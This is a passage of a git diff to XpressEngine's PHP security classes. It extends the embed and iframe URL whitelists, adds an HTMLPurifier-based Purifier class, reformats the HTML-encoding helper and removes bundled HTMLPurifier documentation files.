'hpid' => 1, 'hps' => 1, 'jlt' => 1, 'pcl' => 1, 'pclxl' => 1, 'sfd-hdstx' => 1, 'mpy' => 1, + 'afp' => 1, 'listafp' => 1, 'list3820' => 1, 'irm' => 1, 'sc' => 1, 'icc' => 1, 'icm' => 1, 'igl' => 1, 'ivp' => 1, 'ivu' => 1, 'igm' => 1, 'xpw' => 1, 'xpx' => 1, 'i2g' => 1, 'qbo' => 1, 'qfx' => 1, + 'rcprofile' => 1, 'irp' => 1, 'xpr' => 1, 'fcs' => 1, 'jam' => 1, 'rms' => 1, 'jisp' => 1, 'joda' => 1, 'ktz' => 1, 'ktr' => 1, 'karbon' => 1, 'chrt' => 1, 'kfo' => 1, 'flw' => 1, 'kon' => 1, 'kpr' => 1, 'kpt' => 1, + 'ksp' => 1, 'kwd' => 1, 'kwt' => 1, 'htke' => 1, 'kia' => 1, 'kne' => 1, 'knp' => 1, 'skp' => 1, 'skd' => 1, 'skt' => 1, 'skm' => 1, 'sse' => 1, 'lasxml' => 1, 'lbd' => 1, 'lbe' => 1, '123' => 1, 'apr' => 1, + 'pre' => 1, 'nsf' => 1, 'org' => 1, 'scm' => 1, 'lwp' => 1, 'portpkg' => 1, 'mcd' => 1, 'mc1' => 1, 'cdkey' => 1, 'mwf' => 1, 'mfm' => 1, 'flo' => 1, 'igx' => 1, 'mif' => 1, 'daf' => 1, 'dis' => 1, 'mbk' => 1, + 'mqy' => 1, 'msl' => 1, 'plc' => 1, 'txf' => 1, 'mpn' => 1, 'mpc' => 1, 'xul' => 1, 'cil' => 1, 'cab' => 1, 'xls' => 1, 'xlm' => 1, 'xla' => 1, 'xlc' => 1, 'xlt' => 1, 'xlw' => 1, 'xlam' => 1, 'xlsb' => 1, 'xlsm' => 1, + 'xltm' => 1, 'eot' => 1, 'chm' => 1, 'ims' => 1, 'lrm' => 1, 'thmx' => 1, 'cat' => 1, 'stl' => 1, 'ppt' => 1, 'pps' => 1, 'pot' => 1, 'ppam' => 1, 'pptm' => 1, 'sldm' => 1, 'ppsm' => 1, 'potm' => 1, 'mpp' => 1, + 'mpt' => 1, 'docm' => 1, 'dotm' => 1, 'wps' => 1, 'wks' => 1, 'wcm' => 1, 'wdb' => 1, 'wpl' => 1, 'xps' => 1, 'mseq' => 1, 'mus' => 1, 'msty' => 1, 'taglet' => 1, 'nlu' => 1, 'nitf' => 1, 'nitf' => 1, 'nnd' => 1, + 'nns' => 1, 'nnw' => 1, 'ngdat' => 1, 'n-gage' => 1, 'rpst' => 1, 'rpss' => 1, 'edm' => 1, 'edx' => 1, 'ext' => 1, 'odc' => 1, 'otc' => 1, 'odb' => 1, 'odf' => 1, 'odft' => 1, 'odg' => 1, 'otg' => 1, 'odi' => 1, + 'oti' => 1, 'odp' => 1, 'otp' => 1, 'ods' => 1, 'ots' => 1, 'odt' => 1, 'odm' => 1, 'ott' => 1, 'oth' => 1, 'xo' => 1, 'dd2' => 1, 'oxt' => 1, 'pptx' => 1, 'sldx' => 1, 'ppsx' => 1, 'potx' => 1, 'xlsx' => 1, 'xltx' => 1, + 'docx' => 1, 'dotx' => 1, 'mgp' => 1, 'dp' => 1, 'esa' => 1, 'pdb' => 1, 'pqa' => 1, 'oprc' => 1, 'paw' => 1, 'str' => 1, 'ei6' => 1, 'efif' => 1, 'wg' => 1, 'plf' => 1, 'pbd' => 1, 'box' => 1, 'mgz' => 1, 'qps' => 1, + 'ptid' => 1, 'qxd' => 1, 'qxt' => 1, 'qwd' => 1, 'qwt' => 1, 'qxl' => 1, 'qxb' => 1, 'bed' => 1, 'mxl' => 1, 'musicxml' => 1, 'cryptonote' => 1, 'cod' => 1, 'rm' => 1, 'rmvb' => 1, 'link66' => 1, 'st' => 1, 'see' => 1, + 'sema' => 1, 'semd' => 1, 'semf' => 1, 'ifm' => 1, 'itp' => 1, 'iif' => 1, 'ipk' => 1, 'twd' => 1, 'twds' => 1, 'mmf' => 1, 'teacher' => 1, 'sdkm' => 1, 'sdkd' => 1, 'dxp' => 1, 'sfs' => 1, 'sdc' => 1, 'sda' => 1, + 'sdd' => 1, 'smf' => 1, 'sdw' => 1, 'vor' => 1, 'sgl' => 1, 'smzip' => 1, 'sm' => 1, 'sxc' => 1, 'stc' => 1, 'sxd' => 1, 'std' => 1, 'sxi' => 1, 'sti' => 1, 'sxm' => 1, 'sxw' => 1, 'sxg' => 1, 'stw' => 1, 'sus' => 1, + 'susp' => 1, 'svd' => 1, 'sis' => 1, 'sisx' => 1, 'xsm' => 1, 'bdm' => 1, 'xdm' => 1, 'tao' => 1, 'pcap' => 1, 'cap' => 1, 'dmp' => 1, 'tmo' => 1, 'tpt' => 1, 'mxs' => 1, 'tra' => 1, 'ufd' => 1, 'ufdl' => 1, 'utz' => 1, + 'umj' => 1, 'unityweb' => 1, 'uoml' => 1, 'vcx' => 1, 'vsd' => 1, 'vst' => 1, 'vss' => 1, 'vsw' => 1, 'vis' => 1, 'vsf' => 1, 'wbxml' => 1, 'wmlc' => 1, 'wmlsc' => 1, 'wtb' => 1, 'nbp' => 1, 'wpd' => 1, 'wqd' => 1, + 'stf' => 1, 'xar' => 1, 'xfdl' => 1, 'hvd' => 1, 'hvs' => 1, 'hvp' => 1, 'osf' => 1, 'osfpvg' => 1, 'saf' => 1, 'spf' => 1, 'cmp' => 1, 'zir' => 1, 'zirz' => 1, 'zaz' => 1, 'vxml' => 1, 'wgt' => 1, 'hlp' => 1, 'wsdl' => 1, + 'wspolicy' => 1, '7z' => 1, 'abw' => 1, 'ace' => 1, 'dmg' => 1, 'aab' => 1, 'x32' => 1, 'u32' => 1, 'vox' => 1, 'aam' => 1, 'aas' => 1, 'bcpio' => 1, 'torrent' => 1, 'blb' => 1, 'blorb' => 1, 'bz' => 1, 'bz2' => 1, + 'boz' => 1, 'cbr' => 1, 'cba' => 1, 'cbt' => 1, 'cbz' => 1, 'cb7' => 1, 'vcd' => 1, 'cfs' => 1, 'chat' => 1, 'pgn' => 1, 'nsc' => 1, 'cpio' => 1, 'csh' => 1, 'deb' => 1, 'udeb' => 1, 'dgc' => 1, 'dir' => 1, 'dcr' => 1, + 'dxr' => 1, 'cst' => 1, 'cct' => 1, 'cxt' => 1, 'w3d' => 1, 'fgd' => 1, 'swa' => 1, 'wad' => 1, 'ncx' => 1, 'dtb' => 1, 'res' => 1, 'dvi' => 1, 'evy' => 1, 'eva' => 1, 'bdf' => 1, 'gsf' => 1, 'psf' => 1, 'otf' => 1, + 'pcf' => 1, 'snf' => 1, 'ttf' => 1, 'ttc' => 1, 'pfa' => 1, 'pfb' => 1, 'pfm' => 1, 'afm' => 1, 'woff' => 1, 'arc' => 1, 'spl' => 1, 'gca' => 1, 'ulx' => 1, 'gnumeric' => 1, 'gramps' => 1, 'gtar' => 1, 'hdf' => 1, + 'install' => 1, 'iso' => 1, 'jnlp' => 1, 'latex' => 1, 'lzh' => 1, 'lha' => 1, 'mie' => 1, 'prc' => 1, 'mobi' => 1, 'application' => 1, 'lnk' => 1, 'wmd' => 1, 'wmz' => 1, 'xbap' => 1, 'mdb' => 1, 'obd' => 1, + 'crd' => 1, 'clp' => 1, 'exe' => 1, 'dll' => 1, 'com' => 1, 'bat' => 1, 'msi' => 1, 'mvb' => 1, 'm13' => 1, 'm14' => 1, 'wmf' => 1, 'wmz' => 1, 'emf' => 1, 'emz' => 1, 'mny' => 1, 'pub' => 1, 'scd' => 1, 'trm' => 1, + 'wri' => 1, 'nc' => 1, 'cdf' => 1, 'nzb' => 1, 'p12' => 1, 'pfx' => 1, 'p7b' => 1, 'spc' => 1, 'p7r' => 1, 'rar' => 1, 'ris' => 1, 'sh' => 1, 'shar' => 1, 'swf' => 1, 'xap' => 1, 'sql' => 1, 'sit' => 1, 'sitx' => 1, + 'srt' => 1, 'sv4cpio' => 1, 'sv4crc' => 1, 't3' => 1, 'gam' => 1, 'tar' => 1, 'tcl' => 1, 'tex' => 1, 'tfm' => 1, 'texinfo' => 1, 'texi' => 1, 'obj' => 1, 'ustar' => 1, 'src' => 1, 'der' => 1, 'crt' => 1, 'fig' => 1, + 'xlf' => 1, 'xpi' => 1, 'xz' => 1, 'z1' => 1, 'z2' => 1, 'z3' => 1, 'z4' => 1, 'z5' => 1, 'z6' => 1, 'z7' => 1, 'z8' => 1, 'xaml' => 1, 'xdf' => 1, 'xenc' => 1, 'xhtml' => 1, 'xht' => 1, 'xml' => 1, 'xsl' => 1, 'dtd' => 1, + 'xop' => 1, 'xpl' => 1, 'xslt' => 1, 'xspf' => 1, 'mxml' => 1, 'xhvml' => 1, 'xvml' => 1, 'xvm' => 1, 'yang' => 1, 'yin' => 1, 'zip' => 1, 'adp' => 1, 'au' => 1, 'snd' => 1, 'mid' => 1, 'midi' => 1, 'kar' => 1, 'rmi' => 1, + 'mp4a' => 1, 'mpga' => 1, 'mp2' => 1, 'mp2a' => 1, 'mp3' => 1, 'm2a' => 1, 'm3a' => 1, 'oga' => 1, 'ogg' => 1, 'spx' => 1, 's3m' => 1, 'sil' => 1, 'uva' => 1, 'uvva' => 1, 'eol' => 1, 'dra' => 1, 'dts' => 1, 'dtshd' => 1, + 'lvp' => 1, 'pya' => 1, 'ecelp4800' => 1, 'ecelp7470' => 1, 'ecelp9600' => 1, 'rip' => 1, 'weba' => 1, 'aac' => 1, 'aif' => 1, 'aiff' => 1, 'aifc' => 1, 'caf' => 1, 'flac' => 1, 'mka' => 1, 'm3u' => 1, 'wax' => 1, + 'wma' => 1, 'ram' => 1, 'ra' => 1, 'rmp' => 1, 'wav' => 1, 'xm' => 1, 'cdx' => 1, 'cif' => 1, 'cmdf' => 1, 'cml' => 1, 'csml' => 1, 'xyz' => 1, 'bmp' => 1, 'cgm' => 1, 'g3' => 1, 'gif' => 1, 'ief' => 1, 'jpeg' => 1, + 'jpg' => 1, 'jpe' => 1, 'ktx' => 1, 'png' => 1, 'btif' => 1, 'sgi' => 1, 'svg' => 1, 'svgz' => 1, 'tiff' => 1, 'tif' => 1, 'psd' => 1, 'uvi' => 1, 'uvvi' => 1, 'uvg' => 1, 'uvvg' => 1, 'sub' => 1, 'djvu' => 1, 'djv' => 1, + 'dwg' => 1, 'dxf' => 1, 'fbs' => 1, 'fpx' => 1, 'fst' => 1, 'mmr' => 1, 'rlc' => 1, 'mdi' => 1, 'wdp' => 1, 'npx' => 1, 'wbmp' => 1, 'xif' => 1, 'webp' => 1, '3ds' => 1, 'ras' => 1, 'cmx' => 1, 'fh' => 1, 'fhc' => 1, + 'fh4' => 1, 'fh5' => 1, 'fh7' => 1, 'ico' => 1, 'sid' => 1, 'pcx' => 1, 'pic' => 1, 'pct' => 1, 'pnm' => 1, 'pbm' => 1, 'pgm' => 1, 'ppm' => 1, 'rgb' => 1, 'tga' => 1, 'xbm' => 1, 'xpm' => 1, 'xwd' => 1, 'eml' => 1, + 'mime' => 1, 'igs' => 1, 'iges' => 1, 'msh' => 1, 'mesh' => 1, 'silo' => 1, 'dae' => 1, 'dwf' => 1, 'gdl' => 1, 'gtw' => 1, 'mts' => 1, 'vtu' => 1, 'wrl' => 1, 'vrml' => 1, 'x3db' => 1, 'x3dbz' => 1, 'x3dv' => 1, + 'x3dvz' => 1, 'x3d' => 1, 'x3dz' => 1, '3gp' => 1, '3g2' => 1, 'h261' => 1, 'h263' => 1, 'h264' => 1, 'jpgv' => 1, 'jpm' => 1, 'jpgm' => 1, 'mj2' => 1, 'mjp2' => 1, 'mp4' => 1, 'mp4v' => 1, 'mpg4' => 1, 'mpeg' => 1, + 'mpg' => 1, 'mpe' => 1, 'm1v' => 1, 'm2v' => 1, 'ogv' => 1, 'qt' => 1, 'mov' => 1, 'uvh' => 1, 'uvvh' => 1, 'uvm' => 1, 'uvvm' => 1, 'uvp' => 1, 'uvvp' => 1, 'uvs' => 1, 'uvvs' => 1, 'uvv' => 1, 'uvvv' => 1, 'dvb' => 1, + 'fvt' => 1, 'mxu' => 1, 'm4u' => 1, 'pyv' => 1, 'uvu' => 1, 'uvvu' => 1, 'viv' => 1, 'webm' => 1, 'f4v' => 1, 'fli' => 1, 'flv' => 1, 'm4v' => 1, 'mkv' => 1, 'mk3d' => 1, 'mks' => 1, 'mng' => 1, 'asf' => 1, 'asx' => 1, + 'vob' => 1, 'wm' => 1, 'wmv' => 1, 'wmx' => 1, 'wvx' => 1, 'avi' => 1, 'movie' => 1, 'smv' => 1, 'ice' => 1, ); /** @@ -279,6 +282,16 @@ class EmbedFilter return $GLOBALS['__EMBEDFILTER_INSTANCE__']; } + public function getWhiteUrlList() + { + return $this->whiteUrlList; + } + + public function getWhiteIframeUrlList() + { + return $this->whiteIframeUrlList; + } + /** * Check the content. * @return void @@ -300,11 +313,11 @@ class EmbedFilter */ function checkObjectTag(&$content) { - preg_match_all('/<\s*object\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*object\s*[^>]+(?:\/?>?)/is', $content, $m); $objectTagList = $m[0]; if($objectTagList) { - foreach($objectTagList AS $key=>$objectTag) + foreach($objectTagList AS $key => $objectTag) { $isWhiteDomain = true; $isWhiteMimetype = true; @@ -316,12 +329,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // data url check if($attrValue && strtolower($attrName) == 'data') { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteDomain($attrValue); } @@ -353,15 +366,15 @@ class EmbedFilter */ function checkEmbedTag(&$content) { - preg_match_all('/<\s*embed\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*embed\s*[^>]+(?:\/?>?)/is', $content, $m); $embedTagList = $m[0]; if($embedTagList) { - foreach($embedTagList AS $key=>$embedTag) + foreach($embedTagList AS $key => $embedTag) { - $isWhiteDomain = true; - $isWhiteMimetype = true; - $isWhiteExt = true; + $isWhiteDomain = TRUE; + $isWhiteMimetype = TRUE; + $isWhiteExt = TRUE; $ext = ''; $parser = new HtmlParser($embedTag); @@ -369,12 +382,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // src url check if($attrValue && strtolower($attrName) == 'src') { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteDomain($attrValue); } @@ -406,13 +419,16 @@ class EmbedFilter */ function checkIframeTag(&$content) { - preg_match_all('/<\s*iframe\s*[^>]+(?:\/?>)/is', $content, $m); + // check in Purifier class + return; + + preg_match_all('/<\s*iframe\s*[^>]+(?:\/?>?)/is', $content, $m); $iframeTagList = $m[0]; if($iframeTagList) { - foreach($iframeTagList AS $key=>$iframeTag) + foreach($iframeTagList AS $key => $iframeTag) { - $isWhiteDomain = true; + $isWhiteDomain = TRUE; $ext = ''; $parser = new HtmlParser($iframeTag); @@ -420,12 +436,12 @@ class EmbedFilter { if(is_array($parser->iNodeAttributes)) { - foreach($parser->iNodeAttributes AS $attrName=>$attrValue) + foreach($parser->iNodeAttributes AS $attrName => $attrValue) { // src url check if(strtolower($attrName) == 'src' && $attrValue) { - $ext = strtolower(substr(strrchr($attrValue,"."),1)); + $ext = strtolower(substr(strrchr($attrValue, "."), 1)); $isWhiteDomain = $this->isWhiteIframeDomain($attrValue); } } @@ -446,14 +462,14 @@ class EmbedFilter */ function checkParamTag(&$content) { - preg_match_all('/<\s*param\s*[^>]+(?:\/?>)/is', $content, $m); + preg_match_all('/<\s*param\s*[^>]+(?:\/?>?)/is', $content, $m); $paramTagList = $m[0]; if($paramTagList) { - foreach($paramTagList AS $key=>$paramTag) + foreach($paramTagList AS $key => $paramTag) { - $isWhiteDomain = true; - $isWhiteExt = true; + $isWhiteDomain = TRUE; + $isWhiteExt = TRUE; $ext = ''; $parser = new HtmlParser($paramTag); @@ -464,7 +480,7 @@ class EmbedFilter $name = strtolower($parser->iNodeAttributes['name']); if($name == 'movie' || $name == 'src' || $name == 'href' || $name == 'url' || $name == 'source') { - $ext = strtolower(substr(strrchr($parser->iNodeAttributes['value'],"."),1)); + $ext = strtolower(substr(strrchr($parser->iNodeAttributes['value'], "."), 1)); $isWhiteDomain = $this->isWhiteDomain($parser->iNodeAttributes['value']); if(!$isWhiteDomain && $ext) @@ -491,15 +507,15 @@ class EmbedFilter { if(is_array($this->whiteUrlList)) { - foreach($this->whiteUrlList AS $key=>$value) + foreach($this->whiteUrlList AS $key => $value) { - if(preg_match('@^'.preg_quote($value).'@i', $urlAttribute)) + if(preg_match('@^' . preg_quote($value) . '@i', $urlAttribute)) { - return true; + return TRUE; } } } - return false; + return FALSE; } /** @@ -510,15 +526,15 @@ class EmbedFilter { if(is_array($this->whiteIframeUrlList)) { - foreach($this->whiteIframeUrlList AS $key=>$value) + foreach($this->whiteIframeUrlList AS $key => $value) { - if(preg_match('@^'.preg_quote($value).'@i', $urlAttribute)) + if(preg_match('@^' . preg_quote($value) . '@i', $urlAttribute)) { - return true; + return TRUE; } } } - return false; + return FALSE; } /** @@ -529,18 +545,18 @@ class EmbedFilter { if(isset($this->mimeTypeList[$mimeType])) { - return true; + return TRUE; } - return false; + return FALSE; } function isWhiteExt($ext) { if(isset($this->extList[$ext])) { - return true; + return TRUE; } - return false; + return FALSE; } function _checkAllowScriptAccess($m) @@ -559,7 +575,7 @@ class EmbedFilter { $m[0] .= '/'; } - $this->allowscriptaccessList[count($this->allowscriptaccessList)-1]--; + $this->allowscriptaccessList[count($this->allowscriptaccessList) - 1]--; } } else if($m[1] == 'embed') @@ -580,7 +596,7 @@ class EmbedFilter { if($this->allowscriptaccessList[$this->allowscriptaccessKey] == 1) { - $m[0] = $m[0].''; + $m[0] = $m[0] . ''; } $this->allowscriptaccessKey++; return $m[0]; @@ -600,7 +616,7 @@ class EmbedFilter { $isMake = true; } - if( file_exists($whiteUrlCacheFile) && filemtime($whiteUrlCacheFile)whiteurl->embed->domain; $iframeDomainList = $domainListObj->whiteurl->iframe->domain; - $buff = '$value) + foreach($embedDomainList AS $key => $value) { $patternList = $value->pattern; if(is_array($patternList)) { - foreach($patternList AS $key=>$value) + foreach($patternList AS $key => $value) { $buff .= sprintf('$whiteUrlList[] = \'%s\';', $value->body); } } - else $buff .= sprintf('$whiteUrlList[] = \'%s\';', $patternList->body); + else + $buff .= sprintf('$whiteUrlList[] = \'%s\';', $patternList->body); } } if(is_array($iframeDomainList)) { - foreach($iframeDomainList AS $key=>$value) + foreach($iframeDomainList AS $key => $value) { $patternList = $value->pattern; if(is_array($patternList)) { - foreach($patternList AS $key=>$value) + foreach($patternList AS $key => $value) { $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $value->body); } } - else $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $patternList->body); + else + $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', $patternList->body); } } + + if(Context::getDefaultUrl()) + { + $buff .= sprintf('$whiteIframeUrlList[] = \'%s\';', Context::getDefaultUrl()); + } $buff .= '?>'; FileHandler::writeFile($this->whiteUrlCacheFile, $buff); } } + } /* End of file : EmbedFilter.class.php */ +/* Location: ./classes/security/EmbedFilter.class.php */ diff --git a/classes/security/Purifier.class.php b/classes/security/Purifier.class.php new file mode 100644 index 000000000..10fb74708 --- /dev/null +++ b/classes/security/Purifier.class.php @@ -0,0 +1,180 @@ +_checkCacheDir(); + + // purifier setting + require_once _XE_PATH_ . 'classes/security/htmlpurifier/library/HTMLPurifier.auto.php'; + require_once 'HTMLPurifier.func.php'; + + $this->_setConfig(); + } + + public function getInstance() + { + if(!isset($GLOBALS['__PURIFIER_INSTANCE__'])) + { + $GLOBALS['__PURIFIER_INSTANCE__'] = new Purifier(); + } + return $GLOBALS['__PURIFIER_INSTANCE__']; + } + + private function _setConfig() + { + $whiteDomainRegex = $this->_getWhiteDomainRegx(); + //$allowdClasses = array('emoticon'); + + $this->_config = HTMLPurifier_Config::createDefault(); + $this->_config->set('HTML.TidyLevel', 'light'); + $this->_config->set('Output.FlashCompat', TRUE); + $this->_config->set('HTML.SafeObject', TRUE); + $this->_config->set('HTML.SafeEmbed', TRUE); + $this->_config->set('HTML.SafeIframe', TRUE); + $this->_config->set('URI.SafeIframeRegexp', $whiteDomainRegex); + $this->_config->set('Cache.SerializerPath', $this->_cacheDir); + //$this->_config->set('Attr.AllowedClasses', $allowdClasses); + + $this->_def = $this->_config->getHTMLDefinition(TRUE); + } + + private function _setDefinition(&$content) + { + // add attribute for edit component + $editComponentAttrs = $this->_searchEditComponent($content); + if(is_array($editComponentAttrs)) + { + foreach($editComponentAttrs AS $k => $v) + { + $this->_def->addAttribute('img', $v, 'CDATA'); + $this->_def->addAttribute('div', $v, 'CDATA'); + } + } + + // add attribute for widget component + $widgetAttrs = $this->_searchWidget($content); + if(is_array($widgetAttrs)) + { + foreach($widgetAttrs AS $k => $v) + { + $this->_def->addAttribute('img', $v, 'CDATA'); + } + } + } + + /** + * Search attribute of edit component tag + * @param string $content + * @return array + */ + private function _searchEditComponent($content) + { + preg_match_all('!<(?:(div)|img)([^>]*)editor_component=([^>]*)>(?(1)(.*?)
    )!is', $content, $m); + + $attributeList = array(); + if(is_array($m[2])) + { + foreach($m[2] AS $key => $value) + { + unset($script, $m2); + $script = " {$m[2][$key]} editor_component={$m[3][$key]}"; + + preg_match_all('/([a-z0-9_-]+)="([^"]+)"/is', $script, $m2); + if(is_array($m2[1])) + { + foreach($m2[1] AS $key2 => $value2) + { + array_push($attributeList, $value2); + } + } + } + } + return array_unique($attributeList); + } + + /** + * Search edit component tag + * @param string $content + * @return array + */ + private function _searchWidget(&$content) + { + preg_match_all('!<(?:(div)|img)([^>]*)class="zbxe_widget_output"([^>]*)>(?(1)(.*?)
    )!is', $content, $m); + + $attributeList = array(); + if(is_array($m[3])) + { + $content = str_replace(' $value) + { + preg_match_all('/([a-z0-9_-]+)="([^"]+)"/is', $m[3][$key], $m2); + if(is_array($m2[1])) + { + foreach($m2[1] AS $key2 => $value2) + { + array_push($attributeList, $value2); + } + } + } + } + return array_unique($attributeList); + } + + private function _getWhiteDomainRegx() + { + require_once(_XE_PATH_ . 'classes/security/EmbedFilter.class.php'); + $oEmbedFilter = EmbedFilter::getInstance(); + $whiteIframeUrlList = $oEmbedFilter->getWhiteIframeUrlList(); + + $whiteDomainRegex = '%^('; + $whiteDomainCount = count($whiteIframeUrlList); + + $i=1; + if(is_array($whiteIframeUrlList)) + { + foreach($whiteIframeUrlList AS $key => $value) + { + $whiteDomainRegex .= $value; + + if($i < $whiteDomainCount) + { + $whiteDomainRegex .= '|'; + } + $i++; + } + } + $whiteDomainRegex .= ')%'; + + return $whiteDomainRegex; + } + + private function _checkCacheDir() + { + // check htmlpurifier cache directory + $this->_cacheDir = _XE_PATH_ . 'files/cache/htmlpurifier'; + if(!file_exists($this->_cacheDir)) + { + FileHandler::makeDir($this->_cacheDir); + } + } + + public function purify(&$content) + { + $this->_setDefinition($content); + $this->_htmlPurifier = new HTMLPurifier($this->_config); + + $content = $this->_htmlPurifier->purify($content); + } + +} +/* End of file : Purifier.class.php */ +/* Location: ./classes/security/Purifier.class.php */ diff --git a/classes/security/Security.class.php b/classes/security/Security.class.php index 3be4b4ff2..47227523a 100644 --- a/classes/security/Security.class.php +++ b/classes/security/Security.class.php @@ -1,4 +1,5 @@ _targetVar = $var; } @@ -31,43 +33,73 @@ class Security * separate the owner(object or array) and the item(property or element) using a dot(.) * @return mixed */ - function encodeHTML(/*, $varName1, $varName2, ... */) + function encodeHTML(/* , $varName1, $varName2, ... */) { $varNames = func_get_args(); - if(count($varNames) < 0) return false; + if(count($varNames) < 0) + { + return FALSE; + } $use_context = is_null($this->_targetVar); - if(!$use_context) { - if(!count($varNames) || (!is_object($this->_targetVar) && !is_array($this->_targetVar)) ) return $this->_encodeHTML($this->_targetVar); + if(!$use_context) + { + if(!count($varNames) || (!is_object($this->_targetVar) && !is_array($this->_targetVar))) + { + return $this->_encodeHTML($this->_targetVar); + } $is_object = is_object($this->_targetVar); } - foreach($varNames as $varName) { - $varName = explode('.', $varName); + foreach($varNames as $varName) + { + $varName = explode('.', $varName); $varName0 = array_shift($varName); - if($use_context) { + if($use_context) + { $var = Context::get($varName0); - } elseif($varName0) { + } + elseif($varName0) + { $var = $is_object ? $this->_targetVar->{$varName0} : $this->_targetVar[$varName0]; - } else { + } + else + { $var = $this->_targetVar; } $var = $this->_encodeHTML($var, $varName); - if($var === false) continue; + if($var === FALSE) + { + continue; + } - if($use_context) { + if($use_context) + { Context::set($varName0, $var); - } elseif($varName0) { - if($is_object) $this->_targetVar->{$varName0} = $var; - else $this->_targetVar[$varName0] = $var; - } else { + } + elseif($varName0) + { + if($is_object) + { + $this->_targetVar->{$varName0} = $var; + } + else + { + $this->_targetVar[$varName0] = $var; + } + } + else + { $this->_targetVar = $var; } } - if (!$use_context) return $this->_targetVar; + if(!$use_context) + { + return $this->_targetVar; + } } /** @@ -76,43 +108,71 @@ class Security * @param array $name * @return mixed */ - function _encodeHTML($var, $name=array()) + function _encodeHTML($var, $name = array()) { - if(is_string($var)) { - if (!preg_match('/^\$user_lang->/', $var)) $var = htmlspecialchars($var); + if(is_string($var)) + { + if(!preg_match('/^\$user_lang->/', $var)) + { + $var = htmlspecialchars($var); + } return $var; } - if(!count($name) || (!is_array($var) && !is_object($var)) ) return false; + if(!count($name) || (!is_array($var) && !is_object($var))) + { + return false; + } $is_object = is_object($var); - $name0 = array_shift($name); + $name0 = array_shift($name); - if(strlen($name0)) { + if(strlen($name0)) + { $target = $is_object ? $var->{$name0} : $var[$name0]; $target = $this->_encodeHTML($target, $name); - if($target === false) return $var; + if($target === false) + { + return $var; + } - if($is_object) $var->{$name0} = $target; - else $var[$name0] = $target; + if($is_object) + { + $var->{$name0} = $target; + } + else + { + $var[$name0] = $target; + } return $var; } - foreach($var as $key=>$target) { + foreach($var as $key => $target) + { $cloned_name = array_slice($name, 0); $target = $this->_encodeHTML($target, $name); - $name = $cloned_name; + $name = $cloned_name; - if($target === false) continue; + if($target === false) + { + continue; + } - if($is_object) $var->{$key} = $target; - else $var[$key] = $target; + if($is_object) + { + $var->{$key} = $target; + } + else + { + $var[$key] = $target; + } } return $var; } -} +} /* End of file : Security.class.php */ +/* Location: ./classes/security/Security.class.php */ diff --git a/classes/security/conf/embedWhiteUrl.xml b/classes/security/conf/embedWhiteUrl.xml index 39123dba7..457b7e030 100644 --- a/classes/security/conf/embedWhiteUrl.xml +++ b/classes/security/conf/embedWhiteUrl.xml @@ -36,6 +36,8 @@ http://www.youtube.com/v/ http://www.youtube-nocookie.com/ + //www.youtube.com/v/ + //www.youtube-nocookie.com/ http://play.mgoon.com/Video/ @@ -199,6 +201,8 @@ https://www.youtube.com/ http://www.youtube-nocookie.com/ https://www.youtube-nocookie.com/ + //www.youtube.com/v/ + //www.youtube-nocookie.com/ http://maps.google.com/ diff --git a/classes/security/htmlpurifier/.gitattributes b/classes/security/htmlpurifier/.gitattributes deleted file mode 100644 index 51e648377..000000000 --- a/classes/security/htmlpurifier/.gitattributes +++ /dev/null @@ -1 +0,0 @@ -configdoc/usage.xml -crlf diff --git a/classes/security/htmlpurifier/.gitignore b/classes/security/htmlpurifier/.gitignore deleted file mode 100644 index 4d6ef8d2f..000000000 --- a/classes/security/htmlpurifier/.gitignore +++ /dev/null @@ -1,22 +0,0 @@ -tags -conf/ -test-settings.php -config-schema.php -library/HTMLPurifier/DefinitionCache/Serializer/*/ -library/standalone/ -library/HTMLPurifier.standalone.php -library/HTMLPurifier*.tgz -library/package*.xml -smoketests/test-schema.html -configdoc/*.html -configdoc/configdoc.xml -docs/doxygen* -*.phpt.diff -*.phpt.exp -*.phpt.log -*.phpt.out -*.phpt.php -*.phpt.skip.php -*.htmlt.ini -*.patch -/*.php diff --git a/classes/security/htmlpurifier/Doxyfile b/classes/security/htmlpurifier/Doxyfile deleted file mode 100644 index ff06806e7..000000000 --- a/classes/security/htmlpurifier/Doxyfile +++ /dev/null @@ -1,1317 +0,0 @@ -# Doxyfile 1.5.3 - -# This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project -# -# All text after a hash (#) is considered a comment and will be ignored -# The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") - -#--------------------------------------------------------------------------- -# Project related configuration options -#--------------------------------------------------------------------------- - -# This tag specifies the encoding used for all characters in the config file that -# follow. The default is UTF-8 which is also the encoding used for all text before -# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into -# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of -# possible encodings. - -DOXYFILE_ENCODING = UTF-8 - -# The PROJECT_NAME tag is a single word (or a sequence of words surrounded -# by quotes) that should identify the project. - -PROJECT_NAME = HTMLPurifier - -# The PROJECT_NUMBER tag can be used to enter a project or revision number. -# This could be handy for archiving the generated documentation or -# if some version control system is used. - -PROJECT_NUMBER = 4.4.0 - -# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) -# base path where the generated documentation will be put. -# If a relative path is entered, it will be relative to the location -# where doxygen was started. If left blank the current directory will be used. - -OUTPUT_DIRECTORY = "docs/doxygen " - -# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create -# 4096 sub-directories (in 2 levels) under the output directory of each output -# format and will distribute the generated files over these directories. -# Enabling this option can be useful when feeding doxygen a huge amount of -# source files, where putting all generated files in the same directory would -# otherwise cause performance problems for the file system. - -CREATE_SUBDIRS = NO - -# The OUTPUT_LANGUAGE tag is used to 